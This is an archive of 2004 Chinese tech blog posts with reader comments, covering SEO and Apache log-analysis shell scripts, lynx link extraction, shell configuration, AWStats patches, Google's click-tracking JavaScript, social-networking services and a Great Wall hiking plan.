
ImageManipulation: 基于ImageJ的图片处理服务：缩略图生成，文字水印等

Sun, 13 Jun 2004 20:14:56 +0800

动态缓存是CMS的发展方向，而随着数码相机等数字设备的普及，图片服务又是未来网络服务中一项很重要的方面。在CMS系统的选型中提到过基于JAVA的：ImageJ。最近吕克让推荐给我一个项目：ImageManipulation webapp 是一个基于WEB的图片处理服务：可以根据指定的参数进行原图的缩放：动态生成缩略图，加入水印等。对于需要动态进行生成缩略图的服务非常有用。

效果样例：

另外一个图片的处理工具：imagemanip去年开始在ODSL进行。http://developer.osdl.org/kees/software/imagemanip/

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

黄禹 · 2007-08-25 13:56

你好，最近在学imagej，可是英文帮助很多没看明白，你有学习的例子可以让我参考一下吗？

尝试解决MT的Add to My Yahoo!的字符集问题

Sun, 13 Jun 2004 02:46:22 +0800

今天发现Zheng的Add to My Yahoo!很好（他的是MT3.0），我的却有一些字符集问题：

比较了一下后，我找到了这个模板：Brad Choate: A Non-Funky MT RSS 2 Template

不过目前Yahoo!的模板好像是有缓存的，效果要明天才能看的到。Yahoo!的RSS订阅还是不是很方便，服务也比较不稳定。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

WebLeOn · 2004-07-03 20:19

我的BLOG用的是UTF-8码，Add to My Yahoo!也是有问题，不知道是不是在模板里可以解决。

13日cnblog会谈摘要

Sun, 13 Jun 2004 02:05:52 +0800

关于Wego： cnblog的wego项目的初衷存在于大家很多BLOG过程中的一些需求：比如内容的集中管理。如何将美味书签，WIKIPEDIA和自己的BLOG上的内容进行批量发布和同步等等，好的系统还是从好的设想开始的，首先是将大家以前的使用经验和需求交流、整理一下：CNBLOG开发园

关于26日的会议：我准备关于搜索引擎在BLOG发展中的作用做一些小结，主题是：搜索引擎/BLOG发展中的一些生态学原理体现，比如：PR与MT中的BACKTRACK中体现的客观/引用特性，由The selfish gene等……我一直觉得社会科学在软件开发中会有越来越多的体现。

Ego Surfing = Ego + Surfing

Tue, 08 Jun 2004 00:38:03 +0800

Ego Surfing: 主要特征

1 Surfing your server logs (aka referers) to see who has linked to your site.
喜欢浏览网站日志（就是Referer统计）：，看谁在链接你的网站。

2 Searching Google for your name to see who is talking about you 在GOOGLE搜索自己的名字，看看谁在讨论你。

3 Visiting a weblog search engine (like Blogdex or Daypop) to see who has linked to your site 经常访问weblog搜索引擎，比如：cnblog 看谁链接到了你的网站。

一般搜索引擎都提供站外搜索命令：看看其他网站如何引用自己网站上的内容。而technorati提供的RSS搜索功能，也提供了关键词搜索结果RSS输出订阅，还能随时知道那些网站在引用（或仅仅是提到）了你的内容，Booso.com提供的referer统计也是为了方便网站知道来到你网站中的搜索引擎用户使用的关键词。

2004-12-19 用Google API制作的Egosurfing脚本

2006-01-13 http://www.egosurf.org/: 利用Google搜索结果制作的EgoSurf统计 3629

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

amsea · 2006-10-13 16:45

2004 Infonortics 搜索引擎年会文档归档

Sat, 29 May 2004 23:32:27 +0800

风语者整理： Search Engine Meeting Conference

Quantity versus quality ? The Subtle Side of Retrieval What is New at TREC Text and XML querying - Is There a Common Ground? Search and Guided Navigation for Unstructured Content? (相关链接：ncbi, endeca) Product Intro: A Holistic Approach to Search (相关链接：ask) Panel Session I: The Multi-Lingual Web The scale of the multi-lingual Web The state of the art in CLIR CLIR semantics for the Web CLIR semantics for the Web(2) Mining the Web for multi-language information Fundamental Approaches to Categorisation (相关链接：convera) Information Retrieval: A Single Point of Access Double the Value of Search Using User Behaviour (相关链接：modosoft) Social Software and New Search (相关链接：sntreport, gmail) Migration to a New In-House Search Platform: the Main Challenges, and Lessons Learned Human Intervention in the Search Process (相关链接: currybet, bbci) Panel Session II: Ontologies, Agents and The Web Learning to Harvest Information for the Semantic Web (相关链接：Web Intelligence, NLP Sheffield, AKT Project, Dot.Kom Project) Formalising the Concept of Serendipity in Web Searching Finding the Needle in the Haystack: Multilingual Search and Entity Extraction for Defence (相关链接：basistech ) Turbo10: The Mechanics of a Deep Net Metasearch Engine (相关链接：Turbo10.com) A Relevance Model for Web Image Search Access to Archives of Digital Video Information Organising personal pictures with content analysis technology

Google官方网站增加对SEO(Search Engine Optimization)的说明

Sat, 29 May 2004 14:51:35 +0800

Google官方网站增加对SEO(Search Engine Optimization)的说明： Google Information for Webmasters：包括一些SEO服务商对网站用户的欺骗和误导说明和受到欺骗后的举报方法等。

SEO的定义 Search Engine Optimizers SEO is an abbreviation for “search engine optimizer.” Many SEOs provide useful services for website owners, from writing copy to giving advice on site architecture and helping to find relevant directories to which a site can be submitted. However, there are a few unethical SEOs who have given the industry a black eye through their overly aggressive marketing efforts and their attempts to unfairly manipulate search engine results.

用Lynx过滤出搜索结果链接

Fri, 28 May 2004 18:28:52 +0800

利用lynx -dump的和grep awk组合，导出搜索结果链接列表： lynx -dump 将结果页面和链接分别导出 grep KEYWORD 过滤出包含KEYWORDS的行 grep -v KEYWORD 过滤出不包含KEYWORDS的行 awk ‘{print $2}’ 打印出第2列

lynx -dump “http://www.google.com/search?q=baidu" | grep http | grep -v google | grep -v cache|awk ‘{print $2}’ http://www.baidu.com/ http://www.baidu.com/search/jiqiao.html http://mp3.baidu.com/ http://site.baidu.com/ http://bar.baidu.com/robots/ http://bar.baidu.com/mp3/ http://www.21cnbj.com/industrynews/se_doc/baidu.htm http://union.baidu.com/ http://kaihui0.tripod.com/

lynx -dump “http://www.baidu.com/baidu?word=google"| grep http|grep -v baidu|awk ‘{print $2}’ http://www.google.com/ http://www.google.de/ http://groups.google.com/ http://images.google.com/ http://www.google.com.sg/ http://ww.google.com/ http://www.google-watch.org/ http://www.googlecn.cn/ http://www.googlebeijing.com/

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

BunnyQ · 2006-07-07 16:42

第一次用lynx 发现比links看网页方便多了.. 这个lynx -dump可以直接取出所有链接地址只用一行就搞定了很方便, 不过不好根据链接标签之间的内容来做进一步的判断有些遗憾.

BirthdayAlarm.com 帮你记住朋友的生日

Fri, 28 May 2004 13:38:31 +0800

2004-11-25 我用Yahoo邮箱也注册了：发现BirthdayAlerm也能导入你的YAHOO邮箱地址簿。可能他们制作了主要免费邮件的几乎所有地址簿导入工具，但是很明显，我的YAHOO的地址簿利用率比较低。

通过地址簿的利用率：发现MS很厉害的2点： 1 OutLook中，回复自动将邮件地址加入你的OE地址簿； 2 MSN用户用邮件地址注册，然后将邮件地址自动导入MSN的地址簿；

可惜MSN自己没有很好的利用这个地址簿资源（将来一定会用到）。而且我觉得给离线朋友发邮件自动打开HOTMAIL是一个非常慢非常慢的设计，有时候经常为了复制一个朋友的联系邮件而打开一个IE（而且只能是IE）窗口。

2004-11-19 Birthday alarm的地址簿电子邮件营销

今天忽然收到Birthday Alarm，原来它们新增加了一个服务，你可以输入你HOTMAIL的密码，然后自动取到用户的PASSPORT地址簿。你可以批量将Birthday Alarm的邀请发到你的朋友中。

我最近已经多次通过地址簿给朋友发送邀请信了：LinkedIn, Plaxo和Birthday Alerm 社交网络服务：很重要的就是基于已有的信任建立起关系。而以前历史数据的批量导入是非常重要的。

以前很多好东东不都是最早你周围人群中“喷嚏者”通过邮件发送过来。他们无意中成为了这些产品的蜜蜂。

和垃圾邮件相比：基于私人地址簿的电子邮件营销以后将是一个很好的途径。如何建立信任和紫牛服务，鼓励用户通过而目前很多邮件/即时通信服务中的朋友链接（邮件地址）将是一个很巧妙的推广途径。网站之间通过URL LINK进行互连，EMAIL就是人与人之间的URL。

BirthdayAlarm服务模式很简单：就是你让朋友注册他们的生日，然后到时候提醒你。这是我感觉最方便注册的服务，我的朋友可以在这里登记他们生日，喜欢他们简洁的注册方式，原来社交网络服务起步可以如此简单。

让我非常欣赏的是这个服务的注册流程，得到朋友的通知，在登记生日的同时也是我的用户注册地址，比起那些orkut之类的朋友圈网站动辄要注册几十项来说，这是我用过的最方便登记注册的服务。 1 首先是我的朋友告诉我的：让我对这个服务比较信任； 2 生日是大家最容易记得起的个人特征（注意：年份是可选的，因此可以帮助你隐瞒年龄）。如果你再登记上自己的邮件地址，这里又会生成一个新的ID，成为了你自己朋友的注册入口，类似于： http://www.BirthdayAlarm.com/dob/16773142a31371734b362 3 非常贴心的设计：绝对是父母这样不会使用复制/粘贴的人也能轻易上手的服务。惊叹的是它的“告诉你的朋友”提示，出了自动生成一段话话外: Hi

I am building a birthday calendar of all my friend’s and family’s birthday. Please click on the link below and enter your birthday. It is super quick and easy.

http://www.BirthdayAlarm.com/dob/16773142a31371734b363

Thanks, Dong

它会不厌其烦的告诉一步一步你如何copy paste这段话然后发送邮件，如果不行，还能让你直接输入朋友的EMAIL（十个）； 4 除了通过告诉朋友们注册他们的生日，然后朋友在让他们的朋友，无形中就形成一个社交网络；

其他服务：送花，送礼物，手机提示等，如果能够发挥潜在的社交网络服务等将是一个非常有潜力的模式。通过姓名还可以建立起其他的社会联系：你可以查自己名字的流行度。

BirthdayAlarm.com服务起始于2001年，“生日提醒”服务虽然简单，但很有能成为很有潜力的一种社交网络的入口服务。

在这个网站上用户体验给我最大的启发是：降低注册的门槛，首先让用户输入最少而且是不加思索就能填写的信息（比如：生日，星座，属相等），留着更多的信息（如所在国家，时区等）在用户把服务用起来以后在输入。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

铅笔仍然是我最有效率的个人知识管理工具

Wed, 26 May 2004 23:44:08 +0800

上周末和IsaacMao聊天的时候，我特地问了一下他的作息时间：每天早上6点起床，到晚上12点左右。其中早上6点到9点半是他给自己留做Surfing和Blogging的时间，然后去公司上班(Make live)。我一直非常关注学习的效率，也能感觉到我认识的很多blogger都是非常善于学习和进行个人知识管理的人，如果每天比别人多1个小时的思考时间，日积月累下来就将是一笔很大的财富……

Google的海量索引使得互联网成为一个比较好用的知识库，也使得搜索引擎在英语国家的使用水平的普遍得以提高，而中文的全文检索天然就有分词的问题，这就注定在知识的使用效率上和先进水平还有很大差距。其实咱们落后并不可怕，可怕的是学习和进步的速度比人家慢。

技术上只是一个方面，更重要的是时间管理的修养。最近工作很忙，但是忙的并非很有成效，所以我不得不反省一下自己的个人知识管理的效率。其实我一直感觉比较有效的是自己的小纸条习惯：把自己最近几天需要做的5，6件杂事记录在一个小纸条上，办完一件划一件，最终目标就是把这张纸扔掉。有统计说明：一般人同时能考虑到的问题是7个，天才是11个。所以把手边的问题数量控制在自己能控制的范围之内，就是一个很大的难题。我经常发现自己的小纸条约记越多，很多好的想法就一点一点流失了。不得不承认：即使PDA等工具再方便，也不如铅笔更适合做自己的知识管理工具，输入速度的确是一个非常大的瓶颈。

工作中用过一段时间电子日记本，以后可能要恢复使用了。另外一个感兴趣的就是Radio Userland，Mao也给我讲了这个基于Python的跨平台发布工具作为个人发布管理工具的可能性。毕竟需要公开发表的东西可能只是个人知识的冰山一角，而对于大多数人来说，更需要的可能是更全面的个人私有知识管理系统和工具。

💬 历史评论

以下 11 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

isaac · 2004-05-27 12:07

对我来说，铅笔和本子也是最好的工具，他们的易用性还是无与伦比的，所以Paper Log 比 Web Log有时候更自然。

cdbb · 2004-05-27 13:42

piano里面的ada因为不讲话，所以挂在脖子上面一个小本，随时写东西给别人看，写一页撕一页。这个方式，我挺喜欢的，只是我不喜欢在脖子上挂项链以外的东西，所以就变成一个小的笔记本，但完事的有时候也不撕，回头翻过来，也是一种记录。对时间的效率的提升，以及对个人知识的管理，的确是个好的topic，方法还没有更好的，就先全部写下来。

cyril · 2004-05-27 14:07

如果是学习，还是习惯用笔做log，再定期整理。然而其他的一些想法有时选择不记录，过些日子倘若还记得，体会多半有些变化，岔题了。朋友一说：如果明确事情，在一个时期不妨多想，多做，少看，少听。

管家 · 2004-05-28 11:33

怎么Blogcn的blog不能TrackBack这篇日志啊？？？

SummerRain · 2004-05-30 19:35

是的,pda确实输入不方便。我有个plam，但是还特地买了一个键盘，拼音输入法不好用(或许没有找到好的输入法)，感觉和电脑上的输入差好多，还有画点图，pda就更不方便了。

hhee · 2004-05-31 08:22

自从用上电脑，自己的字写得越来越差，简直可以用惨不忍睹来形容，才发现已经很久没有用笔写字了，更何况是铅笔。但我们“爱”上一个东西的时候，却发现我们失去了更多。用铅笔是个好习惯，而且节约成本。

Che Ming · 2004-06-07 00:12

OneNote + MindManager 是我在电脑前经常用来记录思绪的东西。尤其 OneNote，真的没啥限制，写字，画图都可以。

WebCatcher (CyberArticle) + FeedDemon 也是我最喜欢的记录和察看 Knowledge Snippet 的东西。

Kreny的学习笔记

Mon, 24 May 2004 00:47:55 +0800

NULL.IDA 扫描者IP地址的统计脚本作者：Kreny 还在日本留学，他说日本人的很喜欢写笔记：系统管理员会把所有软件的安装过程完整记录下来，我觉得这种习惯的确值得我们学习。

BlogChina建站全过程笔记

Mon, 24 May 2004 00:11:00 +0800

博客中国基本上将我所有的知识点进行一次完整的体现，包括：服务器前后台规划，日志统计分析，面向搜索引擎的优化设计和站内全文检索系统。

BlogChina建站全过程笔记：

BlogChina后台是Windows 2000 + IIS 5.0 服务器：主要的内容发布和后台管理：应用自从2002年以来没有大的改动。

前台是Apache 1.3.x + mod_gzip 作为缓存服务器。日志通过cronolog每天进行截断。

NetCraft上的blogchina.com服务运行状况统计：

2002年11月份博客中国开始运行： Windows 2000 Microsoft-IIS/5.0 18-Nov-2002 211.100.15.76 Chuanye Building

2003年3月份重新优化了一次服务器： Windows 2000 Microsoft-IIS/5.0 4-Mar-2003 211.100.7.88 co-location user

2003年5月份开始使用Linux服务器作为前台缓存/cache服务器 Linux Microsoft-IIS/5.0 3-Jun-2003 211.100.7.88 co-location user

2003年7月份重新安装了服务器地址 Linux Microsoft-IIS/5.0 10-Jul-2003 211.100.7.92 co-location user

2003年8月份更换机房 Linux Microsoft-IIS/5.0 13-Aug-2003 211.99.203.4 a-1 dialup net

2004年5月份升级Apache Linux Microsoft-IIS/5.0 8-May-2004 211.99.203.4 a-1 dialup net

面向搜索引擎的前台URL设计：主要入口页面全部通过isapi_rewrite进行了改写： asp?id=23456 ==> 23456.html asp?author=%34%e2%78%a4 ==> member/author/_%34%e2%78%a4

基于AWStats的日志统计： http://www.blogchina.com/cgi-bin/awstats/awstats.pl?config=blogchina

跟Isaac Mao聊天

Sun, 23 May 2004 21:38:56 +0800

Isaac Mao（毛向辉）今天看上去比照片上帅，和他聊了聊，主要是个人兴趣和一些研究方向：blog, ss cnblog等。我把从谈话中想到的记录如下：

1 首先是对Blog在中国的积极意义：最近一直零星看了看黄仁宇的《黄河青山》：其中对中国出了什么问题？作者将告诉我的是：中国是“潜水艇三明治”，上层是没有明显差异的庞大官僚体系，底层是没有明显差异的农民……国家治理过分依赖“道德”实际上正式凸现了在中间层和技术手段上的落后，接合目前的实际情况，这也是我中一直关注数字统计方法和技术的原因。

2 Social Software（社交软件）在扩展各个信息域的各种发展前景：按照公开/私有区分的信息域和按照现时和历史区分的信息域。毕竟Google能搜索到的只是整个互联网中比较新的那Top 5%，所以Radio Userland所展现的个人/社会知识管理前景还是很精彩的。

Isaac还给我演示了他的BLOG发布和Wiki化的可视化内容编辑，比如：http://www.isaacmao.com/im/?Career 这个页面就是WIKI方式管理的，而首页则是通过宏变量替换实现的BLOG模块嵌入。看来自定义变量解析的确是很多高级CMS进行模块化后必经之路……

3 从2003年初参与博客中国的发展，我写了一个博客中国的建站全过程的笔记，算是一个阶段性的总结。最近我也在寻找一个能够更长远的实践想法和贡献力量的领域。总体来说：有利于分权和避免集中化的设想和技术解决方案都是我非常愿意参与的。我对blogcn的印象：总体来说cnblog涉猎的范围很广，想法和观点比较前卫，我希望能够抓住某些有更深入的探索。多个cnblog这样的小团体加上你的个人blog应该可以成为你的个人知识空间。我希望能从搜索引擎产业和ss之间的关系角度进行一些探索和研究。

Google搜索博客??

Mon, 17 May 2004 10:31:28 +0800

Google将推出博客搜索? - 有风的季节： Photo Matt blog的Matthew Mullenweg说，“拿我的博客站点来说，工作日志上显示了GoogleBot对这个博客站点及其他站点的atom.xml及index.rdf文件又随机检索请求发生。这些文件通常位于根目录或相关子目录中（类似/blog）。这些站点均运行WorPress（一种网志工具），而且我敢保证这些站点上压根就没有提及或提供有atom.xml或index.rdf的链接。这就意味着GoogleBot在推测这些文件应该在那儿。”

搜索引擎索引整个互联网大部分内容（而且是处于剧烈变化中的网页）是不可能的，目前Google索引的最多是整个互联网上的top 5%左右，如何将更多优质网页加入到索引中的确是一个非常复杂的策略问题：RSS的发布机制相当于是每个网站的Whatz new。通过这个入口的确建立一个What’s new网页集群，这样是就可以容易发现互联网中的新的“热点”。Google的意图可能在于通过动态的热点发现，从而有针对性的深入抓取一些新的而且是用户关心的内容，从而提高用户搜索的感受。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

cdbb · 2004-05-26 16:48

同意blogger是对新热点最敏感的部分，不过这个理想在中国蛮难的

SEO效果评价：spider referer 和 keywords

Sun, 16 May 2004 01:13:28 +0800

SEO: search engine optimization搜索引擎优化：为了提高来自搜索引擎的流量，SEO已经成为很多商业网站的必修课。但是如何评价网站的SEO效果呢，设计了以下脚本，可以获得以下方面的参考数据： 1 那些网页被搜索引擎的Spider收录：来自搜索引擎的spider统计； 2 那些网页被搜索搜索到那些网页并被点击：来自搜索引擎的referer统计； 3 被搜索引擎搜索到的时候使用的那些关键词：来自搜索引擎的keywords统计；

脚本如下：

架设网站的apache日志使用cronolog进行轮循或者能够获得的时间做为有规律文件名： /home/apache/logs/access_log.20040415 /home/apache/logs/access_log.20040416 /home/apache/logs/access_log.20040417 /home/apache/logs/access_log.20040418

#!/bin/sh #$Id: spider_stats.sh,v 1.9 2004/05/15 16:52:44 chedong Exp $ YESTERDAY=`date -d yesterday +%Y%m%d` # for FreeBSD: YESTERDAY=`date -v-1d +%Y%m%d` THISMONTH=`date -d yesterday +%m%Y` LOG_FILE='/home/apache/logs/access_log' grep -i Googlebot $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn > spider/$YESTERDAY.googlebot.txt grep -i baiduspider $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn>spider/$YESTERDAY.baiduspider.txt grep -i msnbot $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn>spider/$YESTERDAY.msnbot.txt grep -i slurp $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn>spider/$YESTERDAY.inktomi.txt grep -i openbot $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort |uniq -c | sort -rn>spider/$YESTERDAY.openbot.txt # for search entry stats grep -i www.google.com/search $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn > search/$YESTERDAY.google.txt grep -i www.baidu.com/baidu $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn > search/$YESTERDAY.baidu.txt grep -i 3721.com $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn > search/$YESTERDAY.3721.txt grep -i search.sohu.com $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn > search/$YESTERDAY.sohu.txt grep -i search.sina.com.cn $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort |uniq -c | sort -rn > search/$YESTERDAY.sina.txt grep -i search.yahoo.com $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort |uniq -c | sort -rn > search/$YESTERDAY.yahoo.txt # for search keywords stats grep www.baidu.com/baidu $LOG_FILE.$YESTERDAY | awk '{print $11}' | perl -pe 's/\\x(\w+)/%\1/gi' |perl -p -e 's/%(..)/pack("c", hex($1))/eg' | perl -pe 's/(.*)?(word=(.*?))[&"].*/$3/gi' |sort|uniq -c|sort -rn > keywords/$YESTERDAY.baidu.txt grep www.google.com/search $LOG_FILE.$YESTERDAY | awk '{print $11}' | perl -pe 's/\\x(\w+)/%\1/gi' |perl -p -e 's/%(..)/pack("c", hex($1))/eg'|perl -pe 's/(.*)?(q=(.*?))[&"].*/$3/gi' |sort|uniq -c|sort -rn > keywords/$YESTERDAY.google.txt grep 3721.com $LOG_FILE.$YESTERDAY | awk '{print $11}'| perl -pe 's/\\x(\w+)/%\1/gi' |perl -p -e 's/%(..)/pack("c", hex($1))/eg'|perl -pe 's/(.*)?((p|name)=(.*?))[&"].*/$3/gi' |sort|uniq -c|sort -rn > keywords/$YESTERDAY.3721.txt grep search.sohu.com $LOG_FILE.$YESTERDAY | awk '{print $11}'| perl -pe 's/\\x(\w+)/%\1/gi' |perl -p -e 's/%(..)/pack("c", hex($1))/eg'|perl -pe 's/(.*)?((key_word|word)=(.*?))[&"].*/$3/gi' |sort|uniq -c|sort -rn > keywords/$YESTERDAY.sohu.txt grep search.sina.com.cn $LOG_FILE.$YESTERDAY | awk '{print $11}'| perl -pe 's/\\x(\w+)/%\1/gi' |perl -p -e 's/%(..)/pack("c", hex($1))/eg'|perl -pe 's/(.*)?((_searchkey|word)=(.*?))[&"].*/$3/gi' |sort|uniq -c|sort -rn > keywords/$YESTERDAY.sina.txt grep search.yahoo.com $LOG_FILE.$YESTERDAY | awk '{print $11}'| perl -pe 's/\\x(\w+)/%\1/gi' |perl -p -e 's/%(..)/pack("c", hex($1))/eg'|perl -pe 's/(.*)?(p=(.*?))[&"].*/$3/gi' |sort|uniq -c|sort -rn > keywords/$YESTERDAY.yahoo.txt

perl -pe ’s/\x(\w+)/%\1/gi’ : 用于转换： \xe4\x23 这样的转码

tcsh bash 的个人常用配置文件

Fri, 14 May 2004 17:37:40 +0800

在一台新机器上的时候经常忘记一些环境和快捷方式，比如：如何让FREEBSD终端上正确显示中文等。按照tcsh和bash分列如下

tcsh:

/etc/cshrc ~/.cshrc

A: 所有隐含文件 ./ ../ F: 目录后面加"/" l: 列表模式

alias ll ’ls -AlF'

让中文显示在终端上正确显示

setenv LANG en_US.ISO8859-1 setenv LC_ALL en_US.ISO8859-1 setenv PS1 [\u@\h \w]\$

Bash: #/etc/profile ~/.profile alias ll=‘ls -FAl’

LANG=en_US.ISO8859-1 LC_ALL=en_US.ISO8859-1

提示符： [username@hostname /path/to/current/dir/]

PS1="[\u@\h \w]\$ "

export LANG LC_ALL PS1

盼望已久的"猴"年"马"月公历2004年6月18日开始到7月16日结束

Wed, 12 May 2004 16:18:45 +0800

不知道是谁人的发明，用“猴年马月”来泛指不知道哪年哪月，或者泛指遥遥无期。其实猴年马月的周期性虽然未必都很整齐，但基本上是有规律的。猴年是12年一个轮回，马月也是12个月一个论回，所以凡是猴年，必有一个月是马月，比如与2004年大体相应的猴年(甲申年)，其马月(庚午月)就是农历5月份，就是从公历2004年6月18日开始到7月16日结束，由于这一猴年的农历5月份是小月，只有29天，所以今年的马月比较短。

AWStats 6.0 的中文补丁后记

Mon, 10 May 2004 12:57:43 +0800

AWStats快发布6.1了，我提交的BUG主要有以下几个方面： AWStats - Bugs 775988 Minor Chinese Search Engine patch
AWStats - Patches 745359 Chinese(Simp) update: 6.0 awstats-cn.txt 713960 Chinese minor search engines (awstats 6.0)

715108 URI unescape and Google UTF-8 convert patch(perl 5.8 needed) AWStats - Feature Requests 881891 ShowMonthStats: last 12 months vs first month of this year 863298 Counter of spider access on URL-Pages report. 706297 smart IIS timezone solution 748264 Count average on “finished day” (Use LastUpdate)

1 Google UTF-8查询的检测和解码问题：最关心的Google UTF-8查询的解码问题，由于Google同时支持utf-8查询和gb2312查询（Win98上），所以同样的查询字符创，在不同浏览器中会留下2组记录；我的思路是从日志处理阶段开始，根据固定的字符集设置进行UTF-8 ==> 本地码的转码，这样输出的就统一是本地码了（比如GB2312），我在5.5版本的Patch中是这样实现的。但潜在的问题是比较容易受到cross site script攻击，关键词统计中偶尔会因为解码后出现非字母的控制字符出问题。需要手工修改统计出来的数据库才行。

准备五一最后的司马台－金山岭之旅

Tue, 04 May 2004 17:29:43 +0800

在网上翻着搜索结果，这篇父子俩走长城的故事让我很感动二林、盼盼 :: 大头儿子小头爸爸走长城日记::司马台～金山岭～古北口～慕田峪也从长城小站这个志愿者网站学到了很多，这个网站甚至已经有了WIKI，笔记如下：

我喜欢这样的专题：图说长城建筑：：丰富多彩的长城箭眼，上次去司马台，我也注意到了，箭眼的设计非常实用。

还有这篇：可持续发展的长城，可持续发展这点很重要，长城是露天的博物馆，人为的破坏和不适当的修葺都是一种无法挽回的破坏。

其实金山岭到司马台已经是一个非常经典的穿越路线，2003年登山比赛线路的相关报道：2003穿越司马台、金山岭长城健行大赛将举办

司马台介绍司马台长城，位于河北滦平县与北京密云县的交界处（以长城为界），是万里长城中最险要的一段，司马台长城的东段有16个敌楼，从第14个城楼往上开始进入最险要的地段，第14至15个敌楼之间的长城称为天梯，第15至16个敌楼之间的长城称为天桥，是最险要的一段，长城南侧都是悬崖峭壁，长城只有一堵墙，上部只有30公分宽，第15个城楼称为“仙女楼”，第16个城楼叫“望京楼”，是此段长城最高的一个城楼。这一段长城的修复与其它地方的区别是修旧如旧，被联合国教科文组织确定为“世界极珍品”特级文物。

　　　　　　　　司马台长城

　　　　天梯高耸入云端，天桥悬挂云海间。

　　　　婷婷玉立仙女楼，不登望京真遗憾。

　　只有登过这段长城，才能领略长城的险要和修筑长城的艰难。据说，修筑这段长城时，是将城砖捆在山羊的背上驮上山的。

　　为了安全，旅游者只能登到第12个城楼。

　　游览司马台长城，购票时一定要问清是否含保险，特别是带小孩时。

　　第16个敌楼—-望京楼　　15敌楼至16敌楼之间的天桥

　　第15个城楼—-仙女楼　　14敌楼至15敌楼之间的天梯　　乘车路线：

　　1、东直门长途车站—-密云—-司马台

　　2、法定假日宣武门、东四十条乘游12路直达（130公里）。

　　天桥和望京楼

金山岭介绍　乘车路线　登金山岭长城　　金山岭长城位于河北滦平县与北京密云县的交界处（以长城为界），这段长城军事设施完备，构筑坚实，从金山岭至司马台是北京地区原貌保存最完好的一段，也是外国旅游者最喜欢攀登的一段长城，当地的农民说，登金山岭长城的外国人比中国人多。登此段长城的好处是：

　　1、此段长城基本没有经过维修，其中共24个敌楼，保持着四百年来的原貌；

　　2、相对安全、路程适中，从金山岭走到司马台的路程近十公里，需走4个小时左右。在金山岭和司马台都有当地的导游，可对游客提供一对一的服务，需要时拉手地保护游客的安全，因此安全系数高，对这一点陪同人员也是比较放心的，游完后一般要付给导游一定的小费（50元左右），或是从老乡手里买一本画册作为报答。（笔者曾看到一个大部分由中年妇女组成的38人英国旅游团登此段长城，全体成员都非常顺利地走完长城）。

　　3、不走回头路是登此段长城的另一优点，而登其它地方的长城，走得越远，回来的路最长。　　

　　左图是此段长城中不大平坦的一段，当地导游手拉手地保护外宾的安全。虽然这是一个三十多人的旅游团，但是导游非常放心。

　

　　本网站极力推荐有条件的要登此段长城，此段长城基本没有修过，因此是本来面貌保存最好的，看过这段长城以后，再登其它段长城就会觉得没有意思了，登此段长城还可以使旅游者在北京多住一天，旅游者满意，旅行社也可以增加收入。

　　乘车路线：

　　1、东直门长途车站–密云–司马台

　　2、法定假日宣武门、东四十条乘游12路直达（130公里）。

　　3、西直门（北京北站早7点16分发车）、北京站（东站）乘火车到古北口后转当地的旅游车（在火车站购旅游景点门票后可免费乘火车）。

　　登金山岭长城

　　登此段长城从金山岭或司马台出发都可以（大部分团队都从金山岭出发），在金山岭有组织的导游人员有一百二十多人，并有统一服装。司马台有组织的导游人员有近七十人，当地也管这种导游活动称为“追山”，除了负责导游外，还卖一些画报和矿泉水。

　　从金山岭出发的缺点是接近终点司马台景区时可能会被要求另购司马台景区门票，另外在终点经过一段桥时也被要求购票（5元）。

所以我们明天的行程应该是2天当作1天用，充分的时间给摄影，交流，休息为主，主要的行程尽量避开中午高温。而摄影时间主要以日落，日出时间为主。背包，扎营。然后在来回十几里的原始长城上奔跑……

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

me · 2004-05-07 04:23

有点意思，呵呵

Google悄悄跟踪用户点击：有可能根据搜索结果点击率改善排名

Tue, 04 May 2004 00:35:02 +0800

GOOGLE的界面中很早就已经加入了基于鼠标事件的用户点击系统，比如这样一个搜索结果的标题链接： Geeklog - AnonymousCVS Access

在这个链接的点击过程中，会触发一个鼠标事件：通过clk函数，会讲当前URL的目标链接地址和这个链接的排位发送到统计服务器上，这个请求是向页面中增加一个图片对象，从而向统计服务器发出一个图片HTTP请求实现的，在向统计服务器发出请求的时候，通过JAVASCRIPT讲一些预先设置好的参数传向统计图片服务器。比如上面的鼠标点击：会将当前结果的位置：第15条当前结果的目标地址：本链接对象传递给图片服务器，从而产生一个URL请求，而浏览器还会将当前的URL做为referer传递给图片服务器，从而图片服务器上还可以进行但前关键词和搜索条件的统计。

function clk(n,el) {if(document.images){(new Image()).src="/url?sa=T&start="+n+"&url="+escape(el.href);}return true;}

Google通过用户的点击获得了各种位置URL的点击率统计，从而有可能进行基于用户点击统计反馈的排名调整或者是一种不定期的算法改进质量跟踪。我看到的最早的相关Google的鼠标事件跟踪的讨论从去年(2003)4月份就出现过

和传统的基于转向服务器的点击统计方式的比较

基于转向服务器的统计： [User Click] ==> [redirect.example.com] ==> [target.site] Google的用户点击统计方式： [User Click] ===> [target.site] + [image url request for stats]

